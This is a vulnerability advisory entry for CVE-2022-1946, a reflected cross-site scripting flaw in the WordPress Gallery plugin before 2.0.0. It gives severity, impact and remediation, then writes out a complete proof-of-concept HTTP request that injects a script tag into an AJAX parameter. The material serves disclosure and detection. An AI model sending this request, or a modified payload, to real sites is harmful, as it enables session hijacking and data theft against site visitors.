| Title | WordPress Gallery <2.0.0 - Cross-Site Scripting |
|---|---|
| Author | Akincibor |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update the WordPress Gallery plugin to version 2.0.0 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00862 |
| CVE ID | CVE-2022-1946 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wpscan wp xss wordpress gallery unauth wp-plugin wpdevart vuln |
WordPress Gallery plugin before 2.0.0 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, available to both unauthenticated and authenticated users.
GET /wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1946.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1946.pcap
N/AN/A